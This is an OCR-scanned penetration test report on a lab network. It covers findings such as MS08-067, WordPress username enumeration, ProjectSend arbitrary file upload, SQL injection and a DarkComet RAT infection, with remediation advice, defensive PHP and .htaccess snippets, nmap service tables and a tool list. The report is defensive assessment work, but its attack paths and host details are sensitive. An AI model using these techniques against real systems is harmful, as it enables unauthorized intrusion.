e The Security Consultant was able to add Windows account on the target host, implement file
integrity management (FIM) to keep track changes on the system such as unauthorized account
changes and system modifications.

For the SSH weak password
e |t is strongly recommended to change the root account password with complexity such as a
combination of Alphanumeric and special characters. This should be done immediately to avoid
potential damage if compromised by attacker with malicious intent.
e Implement strong password policy such as a combination of Alphanumeric and special
characters.
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More Information

https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
https://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2008-4250

WordPress Username Enumeration

Web Application

HIGH

Development Flaw

Validation

Description

The WordPress is vulnerable to username enumeration. Tools such as WPScan allows a malicious
attacker to scan the blog for security holes and detects the version of WordPress, and version of all
plugins and cross-checks with a vulnerability database to see if there are any security threats with those
versions such as Responsive Thumbnail Slider plugin which is prone to an arbitrary file upload
vulnerability that allows an attacker to upload shell as an image. WPScan provides multiple ways to
discover the usernames of accounts on WordPress web application.

Impact

The attacker can utilized WPScan to exploit discovered vulnerabilities found in the vulnerability
database to enumerate user accounts and bruteforce the password using dictionary attack.

Recommendations

e To stop user enumeration in WordPress, this can be done in one of two ways:
v" To block user-enumeration via functions.php, add the following code to the
theme’s functions file:

// Block WP Enum Scans
if (!is _admin()) {

// default URL format

if (preg match('/author=([0-9]%*) /1",
$ SERVER['QUERY STRING'])) die();

add filter('redirect canonical'’,
'shapeSpace check enum', 10, 2);
}
function shapeSpace check enum(Sredirect, Srequest) {

// permalink URL format

if (preg match('/\?author=([0-9]*) (\/*)/i', Srequest))
die();

else return Sredirect;
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v Block requests at the server level by adding the following code snippet to the site’s root
.htaccess file:

# Block User ID Phishing Requests
<IfModule mod rewrite.c>
RewriteCond %{QUERY STRING} “author=([0-9]%)
RewriteRule .* http://example.com/? [L,R=302]
</IfModule>

e Moving the wp-content directory will help protect WordPress against some automated attacks.

e Do not use the 'admin' username because it is a prime target for password brute force attacks.

e Move the wp-config.php file one directory up, outside of the web root directory. WordPress will
look inside the web root directory for the wp-config.php file as well as within the directory
above it. This will help in minimizing the file being exposed to the Internet.

e Use a login lockdown plugin. WordPress by default does not limit the number of unsuccessful
login attempts which makes it susceptible to a password bruteforce attack. There are many
plugins which introduce this functionality as well as other login security features.

e Keep WordPress and its plugins updated. WordPress and plugin authors are constantly fixing
bugs and security issues within their code and releasing new versions. At the time of writing only
21.5% of WordPress blogs are running the latest version.

e Administration over SSL. The wp-login.php file is often accessed over un-encrypted channels
such as HTTP. By ensuring the connection is encrypted when you submit your login credentials
you reduce the risk of Man In The Middle (MITM) attacks. For further information see:
http://codex.wordpress.org/Administration_Over_SSL

e Use unprivileged database user for non-admin functionality (requires some WP code
modification). By default WordPress uses the same database user for all users, anonymous users
through to authenticated admins. With some code tweaks it is possible to use a lower privileged
database user for anonymous users, reducing the risk of database compromise.

e Don't use the default 'wp_' table prefix. By default WordPress uses the 'wp_' database table
prefix. This prefix makes it easy for attackers to guess table names. It is recommended that
alternative prefixes be used.

e Add a layer of protection to the wp-admin directory and the wp-login.php file with HTTP Basic
Authentication.

e |P whitelist the wp-login.php file. Most administrative users login to their blog via the same IP
address. By whitelisting access to the wp-login.php file to ensure that only specific IPs can access
it.

e Use a strong password such as a combination of Alphanumeric and special characters.

e Implement a mechanism to automatically detect a malicious Web Shell scripts on the web
server.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.
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More Information

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5487
https://nvd.nist.gov/vuln/detail/CVE-2017-5487
https://cxsecurity.com/cveshow/CVE-2017-5487
https://www.cvedetails.com/vulnerability-list/vendor_id-2337/product_id-4096

Weak Password

Web Application

HIGH

Configuration Flaw

Information

Description

The most prevalent and most easily administered authentication mechanism is a static password. The
password represents the keys to the kingdom, but is often subverted by users in the name of usability. A
password that is easy to detect both by humans and by computer. People often use obvious passwords
such as the names of their children, dictionary word or their house number in order not to forget them.
However, the simpler the password, the easier to detect and susceptible to bruteforce attack.

Impact

Weak passwords can make the company vulnerable to malicious attackers and may put the business at
risk.

Recommendations

e To mitigate the risk of easily guessed passwords facilitating unauthorized access, introduce
additional authentication controls (i.e. two-factor authentication).

e The simplest and cheapest of weak password is the implementation of a strong password policy
that ensures password length, complexity, reuse and aging.

e Implement FIM to track unauthorized changes on the system.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.

More Information
http://itsecurity.telelink.com/weak-passwords

https://cwe.mitre.org/data/definitions/521.html
https://en.wikipedia.org/wiki/Password_strength
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ProjectSend Arbitrary File Upload

Web Application

HIGH

Patch Management

Validation

Description

The Arbitrary File Upload vulnerability is due to an input validation error while parsing an HTTP request.
A remote attacker can exploit this to execute arbitrary code within the context of the application, via a
crafted HTTP request.

Impact

A malicious attacker can gain control to the vulnerable systems. The 'process-upload.php' file allows
unauthenticated users to upload PHP files resulting in remote code execution as the web server user.

Recommendations

e Check with the vendor for patch for this issue.

e Report the bug to ProjectSend developer to fix the defect.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.

More Information

https://www.cvedetails.com/cve/CVE-2014-9567

Default Username and Password, Malicious Image File Upload

Web Application

HIGH

Development Flaw

Validation

Description

Web applications often make use of popular open source or commercial software that can be installed
on servers with minimal configuration or customization by the server administrator. Often these
applications, once installed, are not properly configured and the default credentials provided for initial
authentication and configuration are never changed. These default credentials are well known by
penetration testers and, unfortunately, also by malicious attackers, who can use them to gain access to
various types of applications. Furthermore, in many situations, when a new account is created, a default
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password (with some standard characteristics) is generated. If this password is predictable and the user
does not change it on the first access, this can lead to an attacker gaining unauthorized access to the
application.

Impact
A malicious attacker can gain unauthorized access to the web application.
Recommendations

e Change default password.

e Use a strong password such as a combination of Alphanumeric and special characters.

e Change or rename default admin Username.

e For the Malicious Image File Upload, report the bug to developer to fix the defect such as
providing input sanitation or validation on the image file upload.

e Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of
data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.

More Information
https://www.us-cert.gov/ncas/alerts/TA13-175A

https://www.owasp.org/index.php/Input_Validation_Cheat_Sheet
http://icehrm.blogspot.com/2013/03/ice-hrm-installation.html

SQL Injection, Vulnerable Web Application, Weak Password

Web Application

HIGH

Development Flaw

Validation

Description

SQL Injection (SQLi) refers to an injection attack wherein an attacker can execute malicious SQL
statements (also commonly referred to as a malicious payload) that control a web application’s
database server (also commonly referred to as a Relational Database Management System — RDBMS).
Since an SQL Injection vulnerability can possibly affect any website or web application that makes use of
an SQL-based database, the vulnerability is one of the oldest, most prevalent and most dangerous of
web application vulnerabilities.

The like of eXploit.co.il which is a vulnerable Web app designed as a learning platform to test various
SQL injection Techniques. This is a fully functional web site with a content management system based
on fckeditor.
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Impact

By leveraging an SQL Injection vulnerability, given the right circumstances, an attacker can use it to
bypass a web application authentication and authorization mechanisms and retrieve the contents of an
entire database. SQL Injection can also be used to add, modify and delete records in a database,
affecting data integrity. To such extent, SQL Injection can provide an attacker with unauthorized access
to sensitive data including, customer data, personally identifiable information (Pll), trade secrets,
intellectual property and other sensitive information.

Recommendations

e Use a safe APl which avoids the use of the interpreter entirely or provides a parameterized
interface. However, be careful with APIs, such as stored procedures that are parameterized that
can still introduce injection under the hood.

e Carefully escape special characters using the specific escape syntax for interpreter.

e Positive or “white list” input validation.

e Remove the eXploit.co.il web application on the production environment.

e Use a strong password such as a combination of Alphanumeric and special characters, do not
use dictionary word.

e Consider a web application firewall (WAF) — either software or appliance based — to help filter
out malicious data. A WAF can be particularly useful to provide some security protection against
a particular new vulnerability before a patch is available.

More Information
https://en.wikipedia.org/wiki/SQL_injection

https://www.owasp.org/index.php/SQL_Injection
https://www.owasp.org/index.php/Top_10_2017-Al-Injection

Malware

Internal Network

HIGH

Configuration Flaw

Information

Description

Malware is an abbreviated term meaning “malicious software.” This is software that is specifically
designed to gain access or damage a computer without the knowledge of the owner. There are various
types of malware including Trojan, spyware, keyloggers, true viruses, worms, or any type of malicious
code that infiltrates a computer.
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Generally, software is considered malware based on the intent of the creator rather than its actual
features. Malware creation is on the rise due to the sheer volume of new types created daily and the
lure of money that can be made through organized Internet crime. Malware was originally created as
experiments and pranks, but eventually led to vandalism and destruction of targeted machines. Today,
much of malware is created for profit through forced advertising (adware), stealing sensitive
information (spyware), spreading email spam or child pornography (zombie computers), or to extort
money (ransomware).

The like of DarkComet remote access Trojan (RAT) is a malware program that includes a back door for
administrative control over the target computer. RATs are usually downloaded invisibly with a user-
requested program -- such as a game -- or sent as an email attachment. Once the host system is
compromised, the intruder may use it to distribute RATs to other vulnerable computers and establish a
botnet.

Because a RAT enables administrative control, it makes it possible for the intruder to do just about
anything on the targeted computer, including:

e Monitoring user behavior through keyloggers or other spyware.

e Accessing confidential information, such as credit card and social security numbers.
e Activating a system's webcam and recording video.

e Taking screenshots.

e Distributing viruses and other malware.

e Formatting drives.

e Deleting, downloading or altering files and file systems.

RATs can be difficult to detect because they usually don't show up in lists of running programs or tasks.
The actions they perform can be similar to those of legitimate programs. Furthermore, an intruder will
often manage the level of resource use so that a drop in performance doesn't alert the user that
something's amiss.

Impact

Remote Access Trojans (RATs) can provide an attacker with unlimited access to infected endpoints.
Using the victim’s access privileges, they can access and steal sensitive business and personal data
including intellectual property, personally identifiable information (Pll).

Recommendations

The best protection from malware continues to be the usual advice: be careful on opening an email
attachment coming from unknown or unfamiliar sources, be cautious when surfing and stay away from
suspicious websites, and:

e [solate and disconnect the infected computer from the Network and perform malware removal.
e |nstall and maintain an updated, quality antivirus program.
e Keep antivirus software up to date
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e Refrain from downloading programs or opening attachments that aren't from a trusted source.

e At the administrative level, block unused ports, turn off unused services and monitor outgoing
traffic.

o Implement firewall software to block unwanted incoming and outgoing port connections.

e Protect sensitive data using strong password such as a combination of Alphanumeric and special
characters, do not use dictionary word.

More Information

https://en.wikipedia.org/wiki/Malware
https://en.wikipedia.org/wiki/Remote_administration_tool

Unsecured Web-Based File Manager
Web Application

HIGH

Configuration Flaw

Configuration

Description

A web-based file manager is a file management tool that has the ability to create, rename and delete
folders; create, upload, rename, download and delete files; edit text files; view image files; sort by
name, size, mode and date modified; and more using a web browser.

Impact

An attacker can download sensitive files, upload virus or malware, delete files and make unauthorized
changes on the system.

Recommendations

o Define the purpose of using PHP File Manager, else remove from the production server.

PHP File Manager must be password protected.

IP whitelisting the access to the PHP File Manager to ensure that only specific IPs can access it.

Use a strong password such as a combination of Alphanumeric and special characters.

Use Hypertext Transfer Protocol Secure (HTTPS) to protect the integrity and confidentiality of

data between the user's computer and the site.

e Adopt HTTPS in order to prevent the transmission of confidential data in clear text such as user
credential/password and session/cookie details.

e Implement a mechanism to automatically detect a malicious Web Shell scripts on the web
server.

e To manage the file in a secured channel, use SFTP (which uses the SSH protocol) or FTP(S) which
uses the FTP protocol with SSL for encryption.
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More Information

https://en.wikipedia.org/wiki/File_manager

Unsecured FTP, Weak Password

Internal Network

Configuration Flaw

Information

Description

FTP can only handle usernames and passwords in plain text. This is one of the reasons why the root
account cannot be used for FTP access on most servers. The same applies for telnet. FTP is not the only
protocol that sends everything in the clear, POP, IMAP, and Jabber are some other equally guilty
protocols. The difference however is that FTP is very commonly used to upload contents to various kinds
of servers including webservers.

Usernames and passwords are not the only things that are sent over clear text. The files themselves are
uploaded or downloaded without any encryption at all. FTP communication is vulnerable to packet
sniffing and bruteforce attack.

Impact

A malicious attacker can sniff FTP password or bruteforce using dictionary attack and deface a website
or download files that will lead the company businesses at risk.
Recommendations

e Use SFTP (which uses the SSH protocol) or FTP(S) which uses the FTP protocol with SSL for
encryption.

e Consider using a solution like fail2ban to help block password guessing attempts.

e Automatic banning after too many invalid logins is possible.

e Change the port that it listens to avoid the noise in the logs of random attacks.

e Locking down access to specific source IP addresses and limit who can attempt to access the
server.

e Allowing or denying access from given IPs, both per-user and globally for the server.

e Set strong password such as a combination of Alphanumeric and special characters, do not use
dictionary word

More Information

https://en.wikipedia.org/wiki/File_Transfer_Protocol
https://en.wikipedia.org/wiki/FTPS
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Port Scan

Internal Network
LOw
Configuration Flaw
Information

Description

A port scan attack, therefore, occurs when an attacker sends packets to a machine, varying the
destination port. The attacker can use this to find out what services that are running and to get a pretty
good idea of the operating system.

Impact

A malicious attacker can identify all nodes, workstations, servers, domain controllers, web servers, Linux
machines, Windows machines, web applications, firewalls, IDS, et cetera in the network and discover all
running services. This information is the input to build a blueprint of the network infrastructure to
identity attack paths or entry points.

Recommendations
o Implement firewall to strictly controls which ports are exposed and to whom they are visible,
limiting the attack surface discoverable with a port scan.
e Implement intrusion prevention system (IPS) to detect port scans in progress and shut them
down before they are able to gain a full map of the network.
e Disable ports and services that are not in used.

More Information

https://en.wikipedia.org/wiki/Port_scanner
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6. Appendixes
Appendix A: Subnet Gateway Brief Information

GW Information for 10.10.20. 0/24 Subnet
Mmap scan report 0.10

Host is up (D.0019s late
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Network Distance: 1 hop

uﬁfn
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eneral purpose
WTT Windows 2003
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1 hop
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GW Information for 172.17.19.0/24 Subnet
Maap scan report for 172.17.19.1
Host is up (0.0014s latency
Mot shown: 995 closed ports
STATE SERVICE
open
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Appendix B: Hosts Services Information

The following table provides detailed service information available on the target systems such as name,
port, protocol and description.

IP ADDRESS SERVICES
10.10.20.1 | name port | proto 4| info
21 tep
msrpc 135 tep Microsoft Windows RPC
netbios-ssn 139 tep
msrpc 1025 tep Microsoft Windows RPC
ms-wbt-server 3389 tcp Microsoft Terminal Service
ntp 123 udp
netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WOR...
netbios-dgm 138 udp
microsoft-ds 445 udp
isakmp 500 udp
nat-t-ike 4500 udp
10.10.20.2 | name | port | proto 4 | info
tcpwrapped 21 tep
msrpc 135 tep Microsoft windows RPC
netbios-ssn 139 tep
ms-wbt-server 3389 tep Microsoft Terminal Service
ntp 123 udp
netbios-ns 137 udp Microsoft Windows netbios-ssn workgroup: WORKG...
netbios-dgm 138 udp
microsoft-ds 445 udp
isakmp 500 udp
blackjack 1025 udp
upnp 1800 udp
nat-t-ike 4500 udp
10.10.20.3 | name | port proto 4| info
http 80 tep Microsoft IS httpd 7.5
msrpc 135 tep Microsoft Windows RPC
netbios-ssn 139 tep
netbios-ssn 445 tep
ms-wht-server 3389 tep Microsoft Terminal Service
msrpc 49152 tep Microsoft Windows RPC
msrpc 439153 tep Microsoft Windows RPC
msrpc 49154 tep Microsoft Windows RPC
msrpc 49155 tep Microsoft Windows RPC
msrpc 49156 tep Microsoft Windows RPC
msrpc 49157 tep Microsoft Windows RPC
netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WOR...
netbios-dgm 138 udp
snmp 161 udp
isakmp 500 udp
I upnp 1900 udp
= ws-discovery 3702 udp
> nat-t-ike 4500 udp
i llimnr 5355 udp
o unknown 21576 udp
o unknown 28547 udp
i
(=
9
)
>
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10.10.20.4 | name | port | proto 4| info
21 tep
http 80 tcp Apache httpd 2.2.22 (Ubuntu)
telnet 23 udp
retrospect 497 udp
wpgs 780 udp
unknown 944 udp
vsinet 996 udp
expl 1021 udp
ms-sa 1028 udp
jstel 1064 udp
gmrupdateserv 1070 udp
12tp 1701 udp
edonkey 4666 udp
mdns 5353 udp DNS-based service discovery
irdmi 8000 udp
unknown 19322 udp
unknown 20082 udp
unknown 21576 udp
unknown 34570 udp
unknown 34580 udp
unknown 36945 udp
unknown 37843 udp
landesk-cba 38293 udp
_unknown 42172 udp
10.10.20.5
| name | port | proto 4| info
tcpwrapped 21 tep
http 80 tep Microsoft IIS httpd 8.5
msrpc 135 tep Microsoft Windews RPC
netbios-ssn 139 tep
netbios-ssn 445 tep Windows 8.1 Pro (Build 9600) (language: Unknown...
msrpc 49152 tcp Microsoft Windows RPC
msrpc 49153 tep Microsoft Windows RPC
msrpc 49154 tep Microsoft Windows RPC
msrpc 49155 tep Microsoft Windows RPC
msrpc 49156 tep Microsoft Windows RPC
msrpc 49157 tep Microsoft Windows RPC
msrpc 49158 tep Microsoft Windows RPC
nameserver 42 udp
netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WO...
netbios-dgm 138 udp
genie 402 udp
isakmp 500 udp
10.10.20.6 | name | port | proto 4| info
ftp 21 tcp
ssh 22 tcp OpensSSH 5.3 protocol 2.0
unknown 814 udp | s
expl 1021 udp 2
ms-sa 1028 udp | 2
jstel 1064 udp o
unknown 16862 udp | =
unknown 18373 udp &
jcp 19541 udp | <
unknown 20678 udp <:
unknown 42172 udp | Q
unknown 49176 udp ~
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10.10.30.1 | name | port | proto 4| info
msrpc 135 tep Microsoft Windows RPC
netbios-ssn 139 tep
microsoft-ds 445 tep Microsoft Windows 2003 or 2008 microsoft-ds
msrpc 1025 tep Microsoft Windows RPC
ms-wbt-server 3389 tep Microsoft Terminal Service
10.10.30.2 | name | port 4| proto | info
tcpwrapped 21 tep
http 80 tep Microsoft IS httpd 7.5
msrpc 135 tep Microsoft Windows RPC
netbios-ssn 139 tep
netbios-ssn 445 tep
ms-wbt-server 3389 tep Microsoft Terminal Service
msrpc 45152 tep Microsoft Windows RPC
msrpc 48153 tep Microsoft Windows RPC
msrpc 48154 tep Microsoft Windows RPC
msrpc 49155 tep Microsoft Windows RPC
msrpc 48156 tep Microsoft Windows RPC
msrpc 49157 tep Microsoft Windows RPC
172.16.16.1 | name | port | proto. 4| info
21 tep
msrpc 135 tep Microsoft Windows RPC
netbios-ssn 139 tep |
msrpc 1025 tcp Microsoft Windows RPC
ms-wbt-server 3389 tep Microsoft Terminal Service |
ntp 123 udp
netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WOR... |
netbios-dgm 138 udp
microsoft-ds 445 udp |
isakmp 500 udp
nat-t-ike 4500 udp
172.16.16.2 | name | port proto 4| info
tcpwrapped 21 tep
http 80 tep Apache httpd 2.4.7 (Ubuntu)
netbios-ssn 139 tep Samba smbd 3.X workgroup: JASON-VIRTUAL-MACHINE
netbios-ssn 445 tcp Samba smbd 3.X workgroup: JASON-VIRTUAL-MACHINE
netbios-ns 137 udp
netbios-dgm 138 udp
snmp 161 udp
ipp 631 udp
maitrd 997 udp
unknown 1023 udp
mdns 5353 udp DNS-based service discovery
unknown 17615 udp
unknown 18134 udp
unknown 19141 udp
unknown 19193 udp
unknown 20449 udp
unknown 22029 udp
unknown 490178 udp
unknown 58178 udp
unknown 60381 udp
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172.16.16.3 | name | port | proto 4| info

ftp 21 tep Microsoft ftpd

http 80 tep Microsoft IIS httpd 7.0

msrpe 135 tep Microsoft Windows RPC

netbios-ssn 139 tep

microsoft-ds 445 tep Microsoft Windows 2003 or 2008 microsoft-ds

ncacn_http 593 tep Microsoft Windows RPC over HTTP 1.0

tcpwrapped 636 tcp

Idap 3268 tep

tcpwrapped 3269 tep

ms-wbt-server 3389 tep Microsoft Terminal Service

http 5357 tep Microsoft HTTPAPI httpd 2.0 SSDP/UPNP

msrpc 49152 tep Microsoft Windows RPC

msrpc 49153 tcp Microsoft Windows RPC

msrpc 49154 tep Microsoft Windows RPC

msrpc 49155 tep Microsoft Windows RPC

ncacn_http 49157 tcp Microsoft Windows RPC over HTTP 1.0

msrpc 49158 tcp Microsoft Windows RPC

msrpc 49161 tep Microsoft Windows RPC

msrpc 49175 tep Microsoft Windows RPC

domain 53 udp Microsoft DNS 6.0.6001 (17714650)

kerberos-sec 88 udp Windows 2003 Kerberos server time: 2017-06-13 1.,

ntp 123 udp NTP v3
172.17.19.1 | name | port 4| proto |info

tcpwrapped 21 tcp

ntp 123 udp

msrpc 135 tcp Microsoft Windows RPC

netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WOR...

netbios-dgm 138 udp

netbios-ssn 139 tcp

microsoft-ds 445 udp

isakmp 500 udp

msrpc 1025 tcp Microsoft Windows RPC

ms-wbt-server 3389 tcp Microsoft Terminal Service
172.17.19.2 | name | port | proto 4| info

ssh 22 tcp OpensSSH 6.7pl Debian 5 protocol 2.0

rpcbind 111 udp 2-4 RPC #100000

ipp 631 udp

hep-wismar 686 udp

vfo 1056 udp

upnp 1900 udp

nfs 2049 udp

mdns 5353 udp DNS-based service discovery
172.17.19.3 | name | port | proto 4|info

tcpwrapped 21 tep

http BO tep Microsoft IS httpd 7.5

msrpc 135 tep Microsoft Windows RPC

netbios-ssn 139 tep

netbios-ssn 445 tcp Windows Server 2008 R2 Enterprise 7601 Service ...

ms-wbt-server 3389 tcp Microsoft Terminal Service

47001 tep

msrpc 49152 tep Microsoft Windows RPC

msrpc 49153 tcp Microsoft Windows RPC

msrpc 49154 tcp Microsoft Windows RPC

msrpc 49155 tcp Microsoft Windows RPC

msrpc 49156 tcp Microsoft Windows RPC

msrpc 49157 tcp Microsoft Windows RPC

netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WO...

netbios-dgm 138 udp
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172.17.194 | name  port | proto 4| info
http 80 tep Apache httpd 2.2.22 (Ubuntu)
daytime 13 udp
h225gatedisc 1718 udp
mdns 5353 udp DNS-based service discovery
unknown 8010 udp
unknown 16449 udp
unknown 18250 udp
unknown 19039 udp
unknown 19632 udp
unknown 20004 udp
unknown 21344 udp
unknown 24279 udp
unknown 34578 udp
unknown 36108 udp
unknown 38063 udp
unknown 40019 udp

172.17.19.5 | name | port | proto & | info
ftp 21 tep Microsoft ftpd
http 80 tcp Microsoft IS httpd 7.5
msrpc 135 tep Microsoft Windows RPC
netbios-ssn 139 tep
netbios-ssn 445 tcp Windows 7 Ultimate 7601 Service Pack (Build 1) (la...
msrpc 49152 tep Microsoft Windows RPC
msrpc 49153 tep Microsoft Windows RPC
msrpc 49154 tep Microsoft Windows RPC
msrpc 49155 tcp Microsoft Windows RPC
msrpc 49156 tep Microsoft Windows RPC
msrpc 49157 tep Microsoft Windows RPC
netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WO...
netbios-dgm 138 udp
isakmp 500 udp
h225gatedisc 1718 udp
upnp 1900 udp
nfs 2049 udp
nat-t-ke 4500 udp
rfe 5002 udp
limnr 5355 udp
unknown 8010 udp
sd 9876 udp
unknown 18832 udp

172.19.20.1 | name | port 4| proto | info
tcpwrapped 21 tcp
ntp 123 udp
msrpc 135 tep Microsoft Windows RPC
netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WOR...
netbios-dgm 138 udp
netbios-ssn 139 tep
microsoft-ds 445 udp
isakmp 500 udp
msrpc 1025 tep Microsoft Windows RPC
ms-wbt-server 3389 tep Microsoft Terminal Service
nat-t-ike 4500 udp

172.19.20.2
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| name | port | proto 4| info

dhcpe 68 udp

mdns 5353 udp DNS-based service discovery

amanda 10080 udp

unknown 19227 udp

unknown 20279 udp

unknown 21898 udp

unknown 49211 udp

unknown 49212 udp

unknown 59193 udp

unknown 61024 udp
172.19.20.3 | name | port | proto 4| info

tepwrapped 21 tep

ssh 22 tep OpenSSH 6.7pl Debian S protocol 2.0

http 80 tep Apache httpd |

http 443 tcp Apache httpd

dhepe 68 udp |

rpcbind 111 udp 2-4 RPC #100000

ipp 631 udp |

h323gatestat 1719 udp

upnp 1800 udp |

mdns 5353 udp DNS-based service discovery

unknown 20279 udp |

unknown 21898 udp

unknown 41446 udp |
172.19.20.4 | name | port | proto 4| info

21 tcp

http 80 tep Apache httpd 2.4.2 (Win64) PHP/S.4.3

msrpc 135 tcp Microsoft Windows RPC

netbios-ssn 139 tep

netbios-ssn 445 tep Windows 8.1 Pro (Build 9600) (language: Unknown,,,

msmq 1801 tep

msrpc 2103 tep Microsoft Windows RPC

msrpc 2105 tep Microsoft Windows RPC

msrpc 2107 tcp Microsoft Windows RPC

mysql 3306 tcp MySQL unauthorized

msrpc 49152 tcp Microsoft Windows RPC

msrpc 49153 tep Microsoft Windows RPC

msrpc 49154 tep Microsoft Windows RPC

msrpc 48155 tep Microsoft Windows RPC

msrpc 49156 tep Microsoft Windows RPC

msrpc 49157 tep Microsoft Windows RPC

msrpc 49158 tep Microsoft Windows RPC

msrpc 49159 tep Microsoft Windows RPC

dhepe 68 udp

netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WO...

netbios-dgm 138 udp

isakmp 500 udp

upnp 1900 udp
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172.19.20.5 | name | port 4| proto | info
ftp 21 tcp Microsoft ftpd
dhcpe 68 udp
http 80 tcp Microsoft IIS httpd 7.5
msrpc 135 tep Microsoft Windows RPC
netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WOR...
netbios-dgm 138 udp
netbios-ssn 139 tep
snmptrap 162 udp
netbios-ssn 445 tcp Windows 7 Ultimate 7601 Service Pack (Build 1) (la...
isakmp 500 udp
upnp 1500 udp
nat-t-ike 4500 udp
limnr 5355 udp
unknown 9199 udp
unknown 21476 udp
sometimes-rpc... 32776 udp
unknown 33459 udp
msrpc 49152 tcp Microsoft Windows RPC
msrpc 49153 tcp Microsoft Windows RPC
msrpc 49154 tcp Microsoft Windows RPC
msrpc 49156 tep Microsoft Windows RPC
msrpc 48157 tep Microsoft Windows RPC
msrpc 49158 tep Microsoft Windows RPC
172.20.20.1 | name  port  proto 4| info
21 tep
msrpc 135 tep Microsoft Windows RPC
netbios-ssn 139 tep
msrpc 1025 tep Microsoft Windows RPC
ms-wht-server 3389 tep Microsoft Terminal Service
ntp 123 udp
netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WOR... |
netbios-dgm 138 udp
microsoft-ds 445 udp
isakmp 500 udp
nat-t-ike 4500 udp
172.20.20.2 | name | port | proto 4| info
tcpwrapped 21 tep
http 80 tep Apache httpd 2.2.22 (Ubuntu)
auth 113 udp
expl 1021 udp
mdns 5353 udp DNS-based service discovery
limnr 5355 udp
172.20.20.3 | name | port | proto 4| info
ftp 21 tcp Microsoft ftpd
http 80 tep Microsoft IIS httpd 7.5
msrpc 135 tep Microsoft Windows RPC
netbios-ssn 139 tcp
netbios-ssn 445 tep Windows 7 Ultimate 7601 Service Pack (Build 1) (la...
S msrpc 49152 tcp Microsoft Windows RPC
E msrpc 49153 tcp Microsoft Windows RPC
= msrpc 49154 tep Microsoft Windows RPC
é msrpc 49155 tcp Microsoft Windows RPC
— msrpc 49156 tep Microsoft Windows RPC
3 msrpc 49157 tcp Microsoft Windows RPC
5 netbios-ns 137 udp Microsoft Windows NT netbios-ssn workgroup: WO...
3 netbios-dgm 138 udp
g isakmp 500 udp
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Appendix C: List of Tools

Port Scanners

NMap Network Scanning and Host Detection Tool
SuperScan Port Scanning Software to Detect Open TCP and UDP Ports
HPing TCP/IP Packet Assembler/Analyzer

Service and OS fingerprinting Tools

XProbe2 Active Operating System Fingerprinting Tool
Queso Remote Operating System Detector

NMap Network Scanning and Host Detection Tool
pOf Passive Traffic Fingerprinting Tool

HTTPrint Web Server Fingerprinting Tool

AMap Remote Service Scanner

WinFingerprint IP address Scanner

Vulnerability Scanners and Analysis Tools

Nessus Network Vulnerability Scanner and Analyzer
Weblnspect Web Application Security Assessment Tool

Acunetix Web Vulnerability Scanner

Vega Web Application Vulnerability Scanner and Analyzer
Nikto Web Server Scanner

JoomScan Joomla Vulnerability Scanner

WPScan WordPress Vulnerability Scanner

WebSploit Web Application Security Analyzer

Exploitation Frameworks

The Metasploit Project Penetration Testing and IDS Signature Development

Core Security Technology’s Impact | Vulnerability Management and Network Penetration Testing Tool

Immunity’s CANVAS Automated Exploitation system and Exploit Development
Framework

SQLMap Web Application Penetration Testing Tool
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Appendix D: ISSAF Penetration Testing Framework (PTF)
Penetration Testing Methodology

The ISSAF Penetration testing methodology is designed to evaluate your network, system and
application controls. It consists three phases approach and nine steps assessment. The approach
includes following three phases:

Phase — I: Planning and Preparation
Phase — Il: Assessment
Phase — Ill: Reporting, Clean-up and Destroy Artefacts

PHASE — I: PLANNING AND PREPARATION

This phase comprises the steps to exchange initial information, plan and prepare for the test. Prior to
testing a formal Assessment Agreement will be signed from both parties. It will provide basis for this
assignment and mutual legal protection.lt will also specify the specific engagement team, the exact
dates, times of the test, escalation path and other arrangements. The following activities are envisaged
in this phase:

e |dentification of contact individuals from both side,
e Opening meting to confirm the scope, approach and methodology, and
e Agree to specific test cases and escalation paths

PHASE — II: ASSESSMENT

This is the phase where you actually carry out the Penetration test. In the assessment phase a layered
approach shall be followed, as shown in Figure 81. Each peel represents a greater level of access to your
information assets. The following layers are envisaged:

Information Gathering

Network Mapping

Vulnerability Identification
Penetration

Gaining Access & Privilege Escalation
Enumerating Further

Compromise Remote Users/Sites
Maintaining Access

Covering Tracks

LN R WNE

Audit (optional — not a requirement of ISSAF penetration testing methodology)

The execution steps are cyclical and iterative hence represented by the circular arrows in the
assessment phase in the figure below:
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Approach & Methodology

(1) Planning & Preparation

(2)

Network
Mapping

Information
Gathering

Govering
Tracks

Maintaining
Access

Penetration

Testing

Penetration

Methodology

Enumerating
Further

(3) Reporting, Clean Up and Destroy
Artifacts

Compromising
Remote
sers/, sirest

Gaining Access
& Privilege
Escalation
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Figure 81: Assessment Phase

1. Information Gathering

Information gathering is essentially using the Internet to find all the information you can about the
target (company and/or person) using both technical (DNS/WHOIS) and non-technical (search engines,
news groups, mailing lists etc) methods. This is the initial stage of any information security audit, which
many people tend to overlook. When performing any kind of test on an information system, information
gathering and data mining is essential and provides you with all possible information to continue with
the test. Whilst conducting information gathering, it is important to be as imaginative as possible.
Attempt to explore every possible avenue to gain more understanding of your target and its resources.
